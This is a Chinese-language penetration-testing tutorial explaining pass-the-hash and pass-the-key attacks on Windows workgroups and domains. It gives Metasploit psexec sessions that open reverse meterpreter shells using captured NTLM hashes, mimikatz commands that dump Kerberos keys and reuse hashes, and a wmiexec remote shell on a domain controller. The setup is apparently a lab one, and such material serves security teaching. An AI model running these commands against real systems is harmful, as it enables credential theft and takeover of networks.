作者:谢公子
CSDN安全博客专家,擅长渗透测试、Web安全攻防、红蓝对抗。
免责声明:本公众号发布的文章均转载自互联网或经作者投稿授权的原创,文末已注明出处,其内容和图片版权归原网站或作者本人所有,并不代表安全+的观点,若有无意侵权或转载不当之处请联系我们处理,谢谢合作!
哈希传递攻击攻击
哈希传递攻击是基于NTLM认证的一种攻击方式。哈希传递攻击的利用前提是我们获得了某个用户的密码哈希值,但是解不开明文。这时我们可以利用NTLM认证的一种缺陷,利用用户的密码哈希值来进行NTLM认证。在域环境中,大量计算机在安装时会使用相同的本地管理员账号和密码。因此,如果计算机的本地管理员账号密码相同,攻击者就能使用哈希传递攻击登录内网中的其他机器。
哈希传递攻击适用情况:
在工作组环境中:
-
Windows Vista 之前的机器,可以使用本地管理员组内用户进行攻击。
-
Windows Vista 之后的机器,只能是administrator用户的哈希值才能进行哈希传递攻击,其他用户(包括管理员用户但是非administrator)也不能使用哈希传递攻击,会提示拒绝访问。
在域环境中:
-
只能是域管理员组内用户(可以是域管理员组内非administrator用户)的哈希值才能进行哈希传递攻击,攻击成功后,可以访问域内任何一台机器。
MSF进行哈希传递攻击PtH(工作组)
有些时候,当我们获取到了某台主机的 administrator 用户的密码哈希值 ,并且该主机的445端口打开着。我们则可以利用 exploit/windows/smb/psexec 模块用MSF进行远程登录(哈希传递攻击)。这个是rhost可以是一个主机,也可以设置一个网段。
这里目标主机的WindowsVista之后的机器,所以只能使用administrator用户进行攻击。
工作组环境,必须是administrator用户
msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp
msf exploit(psexec) > set lhost 192.168.10.27
msf exploit(psexec) > set rhost 192.168.10.14
msf exploit(psexec) > set smbuser Administrator
msf exploit(psexec) > set smbpass 815A3D91F923441FAAD3B435B51404EE:A86D277D2BCD8C8184B01AC21B6985F6 #这里LM和NTLM我们已经获取到了
msf exploit(psexec) > exploit
MSF进行哈希传递攻击PtH(域)
当我们获取到了域管理员组内用户的密码哈希值 ,并且该主机的445端口打开着。我们则可以利用 exploit/windows/smb/psexec 模块用MSF进行哈希传递攻击。
域环境,域管理员组内用户即可
msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp
msf exploit(psexec) > set lhost 192.168.10.11
msf exploit(psexec) > set rhost 192.168.10.131
msf exploit(psexec) > set smbuser test #test用户在域管理员组内,注意这里不需要写域前缀
msf exploit(psexec) > set smbpass AADA8EDA23213C020B0C478392B5469F:51B7F7DCA9302C839E48D039EE37F0D1
msf exploit(psexec) > exploit
mimikatz进行哈希传递攻击PtH(工作组)
-
Windows Vista 之前的机器,可以使用本地管理员组内用户进行攻击。
-
Windows Vista 之后的机器,只能是administrator用户的哈希值才能进行哈希传递攻击,其他用户(包括管理员用户但是非administrator)也不能使用哈希传递攻击,会提示拒绝访问。
privilege::debug #先提权
#使用administrator用户的NTLM哈希值进行攻击
sekurlsa::pth /user:用户名 /domain:目标机器IP /ntlm:密码哈希
Windows Server 2003
本地管理员:
Windows Server 2008
本地管理员:
mimikatz进行哈希传递攻击PtH(域)
在域环境中,当我们获得了 域管理员组内用户 的NTLM哈希值,我们可以使用域内的一台主机用mimikatz对域内任何一台机器(包括域控)进行哈希传递攻击。执行完命令后,会弹出CMD窗口,在弹出的CMD窗口我们可以访问域内任何一台机器。前提是我们必须拥有域内任意一台主机的本地管理员权限和域管理员的密码NTLM哈希值。
-
域:xie.com
-
域控:WIN2008.xie.com
-
普通域主机:WIN2003
-
域管理员:test
-
域普通用户:hack
privilege::debug #先提权
#使用域管理员test的NTLM哈希值对域控进行哈希传递攻击,域用户test在域管理员组中
sekurlsa::pth /user:test /domain:xie.com /ntlm:6542d35ed5ff6ae5e75b875068c5d3bc
在弹出的cmd窗口中,使用wmiexec.vbs进行验证
cscript wmiexec.vbs /shell Win2008
只有域管理员的NTLM哈希值才可以进行哈希传递攻击,域普通用户的NTLM哈希值无法进行哈希传递攻击
使用AES进行Key传递攻击(PTK,Pass The Key)
前提:只适用于域环境,并且目标主机需要安装 KB2871997补丁
获取AES凭证
privilege::debug
sekurlsa::ekeys #获取kerberos加密凭证
利用获得到的AES256或AES128进行Key攻击
privilege::debug
#使用AES-256进行Key传递攻击
sekurlsa::pth /user:administrator /domain:xie.com /aes256:1a39fa07e4c96606b371fe12334848efc60d8b3c4253ce6e0cb1a454c7d42083